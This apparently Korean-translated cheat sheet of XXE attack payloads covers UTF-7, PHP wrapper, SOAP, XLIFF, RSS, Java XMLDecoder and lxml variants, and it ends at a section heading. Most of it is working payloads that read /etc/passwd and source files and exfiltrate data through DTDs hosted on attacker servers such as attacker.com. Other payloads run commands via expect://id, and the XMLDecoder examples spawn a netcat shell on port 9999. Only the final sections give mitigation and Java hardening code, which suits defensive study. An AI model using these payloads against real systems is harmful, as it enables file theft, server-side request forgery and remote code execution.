+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

์›น์ด PHP๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, file:/ ๋Œ€์‹  php wrappersphp://filter/convert.base64-encode/resource=๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‚ด๋ถ€ ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์›น์ด Java๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด jar: protocol์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTML Entities

https://github.com/Ambrotd/XXE-Notes์—์„œ์˜ ํŠธ๋ฆญ
html entities๋กœ ์ธ์ฝ”๋”ฉ๋œ ์—”ํ‹ฐํ‹ฐ ์•ˆ์— ์—”ํ‹ฐํ‹ฐ๋ฅผ ์ƒ์„ฑํ•œ ๋‹ค์Œ, ์ด๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ dtd๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์‚ฌ์šฉ๋˜๋Š” HTML Entities๋Š” ์ˆซ์ž์—ฌ์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š” (์˜ˆ๋ฅผ ๋“ค์–ด [์ด ์˜ˆ์ œ์—์„œ](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,โ€˜Numeric entitiesโ€™%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD ์˜ˆ:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

์ถ”์ถœ index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

์™ธ๋ถ€ ๋ฆฌ์†Œ์Šค ์ถ”์ถœ

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰

PHP โ€œexpectโ€ ๋ชจ๋“ˆ์ด ๋กœ๋“œ๋œ ๊ฒฝ์šฐ

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

์ด ์˜ˆ์‹œ๋Š” https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe์—์„œ ์˜๊ฐ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.

XLIFF (XML Localization Interchange File Format)๋Š” ํ˜„์ง€ํ™” ํ”„๋กœ์„ธ์Šค์—์„œ ๋ฐ์ดํ„ฐ ๊ตํ™˜์„ ํ‘œ์ค€ํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ฃผ๋กœ ํ˜„์ง€ํ™” ์ค‘ ๋„๊ตฌ ๊ฐ„์— ์ง€์—ญํ™” ๊ฐ€๋Šฅํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ณ  CAT (Computer-Aided Translation) ๋„๊ตฌ๋ฅผ ์œ„ํ•œ ๊ณตํ†ต ๊ตํ™˜ ํ˜•์‹์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” XML ๊ธฐ๋ฐ˜ ํ˜•์‹์ž…๋‹ˆ๋‹ค.

Blind Request Analysis

๋‹ค์Œ ๋‚ด์šฉ์„ ํฌํ•จํ•˜์—ฌ ์„œ๋ฒ„์— ์š”์ฒญ์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

๊ทธ๋Ÿฌ๋‚˜ ์ด ์š”์ฒญ์€ ๋‚ด๋ถ€ ์„œ๋ฒ„ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋ฉฐ, ํŠนํžˆ ๋งˆํฌ์—… ์„ ์–ธ๊ณผ ๊ด€๋ จ๋œ ๋ฌธ์ œ๋ฅผ ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

์˜ค๋ฅ˜์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , Burp Collaborator์— ํžˆํŠธ๊ฐ€ ๊ธฐ๋ก๋˜์–ด ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์ด ์–ด๋А ์ •๋„ ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

Out of Band Data Exfiltration ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜์ •๋œ ์š”์ฒญ์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ User Agent๊ฐ€ Java 1.8์˜ ์‚ฌ์šฉ์„ ๋‚˜ํƒ€๋‚ธ๋‹ค๋Š” ๊ฒƒ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด ๋ฒ„์ „์˜ Java์—์„œ ์ฃผ๋ชฉํ•  ๋งŒํ•œ ์ œํ•œ ์‚ฌํ•ญ์€ Out of Band ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ /etc/passwd์™€ ๊ฐ™์€ ์ค„ ๋ฐ”๊ฟˆ ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Error-Based Data Exfiltration ์ด ์ œํ•œ์„ ๊ทน๋ณตํ•˜๊ธฐ ์œ„ํ•ด Error-Based ์ ‘๊ทผ ๋ฐฉ์‹์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. DTD ํŒŒ์ผ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์กฐํ™”๋˜์–ด ๋Œ€์ƒ ํŒŒ์ผ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜๋Š” ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

์„œ๋ฒ„๋Š” ์˜ค๋ฅ˜๋กœ ์‘๋‹ตํ•˜๋ฉฐ, ์ค‘์š”ํ•˜๊ฒŒ๋„ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŒŒ์ผ์„ ๋ฐ˜์˜ํ•˜๊ณ , ์„œ๋ฒ„๊ฐ€ ์ง€์ •๋œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํฌํ•จ์‹œํ‚ค๊ธฐ ์œ„ํ•ด DTD ํŒŒ์ผ์ด ์กฐ์ •๋ฉ๋‹ˆ๋‹ค:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

์ด ์ˆ˜์ •์€ HTTP๋ฅผ ํ†ตํ•ด ์ „์†ก๋œ ์˜ค๋ฅ˜ ์ถœ๋ ฅ์— ๋ฐ˜์˜๋˜๋ฏ€๋กœ ํŒŒ์ผ ๋‚ด์šฉ์˜ ์„ฑ๊ณต์ ์ธ ์œ ์ถœ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค. ์ด๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•ด Out of Band ๋ฐ Error-Based ๊ธฐ์ˆ ์„ ๋ชจ๋‘ ํ™œ์šฉํ•œ ์„ฑ๊ณต์ ์ธ XXE (XML External Entity) ๊ณต๊ฒฉ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

RSS - XEE

XXE ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ RSS ํ˜•์‹์˜ ์œ ํšจํ•œ XML.

Ping back

๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ์˜ ๊ฐ„๋‹จํ•œ HTTP ์š”์ฒญ

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ํŒŒ์ผ ์ฝ๊ธฐ

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

์†Œ์Šค ์ฝ”๋“œ ์ฝ๊ธฐ

PHP base64 ํ•„ํ„ฐ ์‚ฌ์šฉ

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder๋Š” XML ๋ฉ”์‹œ์ง€๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๋Š” Java ํด๋ž˜์Šค์ž…๋‹ˆ๋‹ค. ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ readObject ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ์— ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๋Š” ์ฆ‰์‹œ ์„œ๋ฒ„์—์„œ ์ฝ”๋“œ ์‹คํ–‰ ๊ถŒํ•œ์„ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

XXE + WrapWrap + Lightyear + ์šฐํšŒ

์ด ๋†€๋ผ์šด ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•ด ๋ณด์„ธ์š” https://swarm.ptsecurity.com/impossible-xxe-in-php/

๋„๊ตฌ

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities

Python lxml ํŒŒ๋ผ๋ฏธํ„ฐ-์—”ํ‹ฐํ‹ฐ XXE (์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ํŒŒ์ผ ๋…ธ์ถœ)

[!INFO] Python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ lxml์€ ๋‚ด๋ถ€์ ์œผ๋กœ libxml2๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. lxml 5.4.0 / libxml2 2.13.8 ์ด์ „ ๋ฒ„์ „์€ resolve_entities=False์ผ ๋•Œ๋„ ํŒŒ๋ผ๋ฏธํ„ฐ ์—”ํ‹ฐํ‹ฐ๋ฅผ ํ™•์žฅํ•˜์—ฌ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด load_dtd=True ๋ฐ/๋˜๋Š” resolve_entities=True๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋กœ์ปฌ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํŒŒ์„œ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ํฌํ•จํ•˜๋Š” ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ XXE ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

1. lxml < 5.4.0 ์ด์šฉํ•˜๊ธฐ

  1. ์ •์˜๋˜์ง€ ์•Š์€ ํŒŒ๋ผ๋ฏธํ„ฐ ์—”ํ‹ฐํ‹ฐ(์˜ˆ: %config_hex;)๋ฅผ ์ •์˜ํ•˜๋Š” ๋กœ์ปฌ DTD๋ฅผ ๋””์Šคํฌ์— ์‹๋ณ„ํ•˜๊ฑฐ๋‚˜ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  2. ๋‚ด๋ถ€ DTD๋ฅผ ์ž‘์„ฑํ•˜์—ฌ:
  • <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">๋กœ ๋กœ์ปฌ DTD๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  • ์ •์˜๋˜์ง€ ์•Š์€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์žฌ์ •์˜ํ•˜์—ฌ:
  • ๋Œ€์ƒ ํŒŒ์ผ์„ ์ฝ์Šต๋‹ˆ๋‹ค (<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">).
  • %flag; ๊ฐ’์„ ํฌํ•จํ•˜๋Š” ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฒฝ๋กœ๋ฅผ ์ฐธ์กฐํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ํŒŒ๋ผ๋ฏธํ„ฐ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํŒŒ์„œ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">).
  1. ๋งˆ์ง€๋ง‰์œผ๋กœ %local_dtd;์™€ %eval;๋ฅผ ํ™•์žฅํ•˜์—ฌ ํŒŒ์„œ๊ฐ€ %error;๋ฅผ ๋งŒ๋‚˜๊ณ  /aaa/<FLAG>๋ฅผ ์—ด์ง€ ๋ชปํ•˜๊ฒŒ ํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ฐœ์ƒํ•œ ์˜ˆ์™ธ ๋‚ด์— ๋ˆ„์ถœ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค โ€“ ์ด๋Š” ์ข…์ข… ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค.
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์˜ˆ์™ธ๋ฅผ ์ถœ๋ ฅํ•  ๋•Œ ์‘๋‹ต์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:

Error : failed to load external entity "file:///aaa/FLAG{secret}"

Tip

ํŒŒ์„œ๊ฐ€ ๋‚ด๋ถ€ ์„œ๋ธŒ์…‹ ๋‚ด์˜ %/& ๋ฌธ์ž์— ๋Œ€ํ•ด ๋ถˆํ‰ํ•˜๋Š” ๊ฒฝ์šฐ, ์ด๋“ค์„ ์ด์ค‘ ์ธ์ฝ”๋”ฉ(&#x26;#x25; โ‡’ %)ํ•˜์—ฌ ํ™•์žฅ์„ ์ง€์—ฐ์‹œํ‚ต๋‹ˆ๋‹ค.

2. lxml 5.4.0 ํ•˜๋“œ๋‹ ์šฐํšŒ (libxml2๋Š” ์—ฌ์ „ํžˆ ์ทจ์•ฝํ•จ)

lxml โ‰ฅ 5.4.0์€ ์œ„์™€ ๊ฐ™์€ error ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ๋ฅผ ๊ธˆ์ง€ํ•˜์ง€๋งŒ, libxml2๋Š” ์—ฌ์ „ํžˆ ์ด๋ฅผ general ์—”ํ‹ฐํ‹ฐ์— ํฌํ•จํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์š”๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ํŒŒ์ผ์„ ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ %file๋กœ ์ฝ์Šต๋‹ˆ๋‹ค.
  2. non-existent protocol์ธ meow://%file;์„ ์‚ฌ์šฉํ•˜๋Š” general ์—”ํ‹ฐํ‹ฐ c๋ฅผ ๊ตฌ์ถ•ํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์„ ์–ธํ•ฉ๋‹ˆ๋‹ค.
  3. XML ๋ณธ๋ฌธ์— &c;๋ฅผ ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์„œ๊ฐ€ meow://โ€ฆ๋ฅผ ์—ญ์ฐธ์กฐํ•˜๋ ค๊ณ  ํ•  ๋•Œ ์‹คํŒจํ•˜๊ณ  ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ํŒŒ์ผ ๋‚ด์šฉ์„ ํฌํ•จํ•œ ์ „์ฒด URI๋ฅผ ๋ฐ˜์˜ํ•ฉ๋‹ˆ๋‹ค.
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>

์ฃผ์š” ๋‚ด์šฉ

  • ํŒŒ๋ผ๋ฏธํ„ฐ ์—”ํ‹ฐํ‹ฐ๋Š” resolve_entities๊ฐ€ XXE๋ฅผ ์ฐจ๋‹จํ•ด์•ผ ํ•  ๋•Œ์—๋„ libxml2์— ์˜ํ•ด ์—ฌ์ „ํžˆ ํ™•์žฅ๋ฉ๋‹ˆ๋‹ค.
  • ์œ ํšจํ•˜์ง€ ์•Š์€ URI ๋˜๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŒŒ์ผ์€ ์ œ์–ด๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐœ์ƒํ•œ ์˜ˆ์™ธ์— ์—ฐ๊ฒฐํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ๊ธฐ์ˆ ์€ ์•„์›ƒ๋ฐ”์šด๋“œ ์—ฐ๊ฒฐ ์—†์ด ์ž‘๋™ํ•˜๋ฏ€๋กœ, ์—„๊ฒฉํ•˜๊ฒŒ ์ด๊ทธ๋ ˆ์Šค ํ•„ํ„ฐ๋ง๋œ ํ™˜๊ฒฝ์— ์ด์ƒ์ ์ž…๋‹ˆ๋‹ค.

์™„ํ™” ์ง€์นจ

  • lxml โ‰ฅ 5.4.0์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ณ , ๊ธฐ๋ณธ libxml2๊ฐ€ โ‰ฅ 2.13.8์ธ์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค.
  • ์ ˆ๋Œ€ ํ•„์š”ํ•˜์ง€ ์•Š๋Š” ํ•œ load_dtd ๋ฐ/๋˜๋Š” resolve_entities๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค.
  • ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์›์‹œ ํŒŒ์„œ ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ์„ ํ”ผํ•˜์‹ญ์‹œ์˜ค.

Java DocumentBuilderFactory ๊ฐ•ํ™” ์˜ˆ์ œ

Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ข…์ข… DocumentBuilderFactory๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ XML์„ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ํŒฉํ† ๋ฆฌ๋Š” ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ ํ•ด์„์„ ํ—ˆ์šฉํ•˜๋ฏ€๋กœ, ์ถ”๊ฐ€์ ์ธ ๊ฐ•ํ™” ํ”Œ๋ž˜๊ทธ๊ฐ€ ์„ค์ •๋˜์ง€ ์•Š์œผ๋ฉด XXE ๋ฐ SSRF์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

๋ณด์•ˆ ๊ตฌ์„ฑ ์˜ˆ:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‚ด๋ถ€์ ์œผ๋กœ DTD๋ฅผ ์ง€์›ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, disallow-doctype-decl์„ ๋น„ํ™œ์„ฑํ™” ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋˜ ํ•ญ์ƒ ๋‘ ๊ฐœ์˜ external-*-entities ๊ธฐ๋Šฅ์€ false๋กœ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์กฐํ•ฉ์€ ๊ณ ์ „์ ์ธ ํŒŒ์ผ ๋…ธ์ถœ ํŽ˜์ด๋กœ๋“œ(file:///etc/passwd)์™€ ๋„คํŠธ์›Œํฌ ๊ธฐ๋ฐ˜ SSRF ๋ฒกํ„ฐ(http://169.254.169.254/โ€ฆ, jar: ํ”„๋กœํ† ์ฝœ ๋“ฑ)๋ฅผ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

์‹ค์ œ ์‚ฌ๋ก€ ์—ฐ๊ตฌ: CVE-2025-27136์—์„œ Java S3 ์—๋ฎฌ๋ ˆ์ดํ„ฐ LocalS3๋Š” ์œ„์— ํ‘œ์‹œ๋œ ์ทจ์•ฝํ•œ ์ƒ์„ฑ์ž๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๋Š” CreateBucketConfiguration ์—”๋“œํฌ์ธํŠธ์— ์กฐ์ž‘๋œ XML ๋ณธ๋ฌธ์„ ์ œ๊ณตํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ HTTP ์‘๋‹ต์— ๋กœ์ปฌ ํŒŒ์ผ(์˜ˆ: /etc/passwd)์„ ํฌํ•จํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

JMF/ํ”„๋ฆฐํŠธ ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜ ์„œ๋น„์Šค์˜ XXE โ†’ SSRF

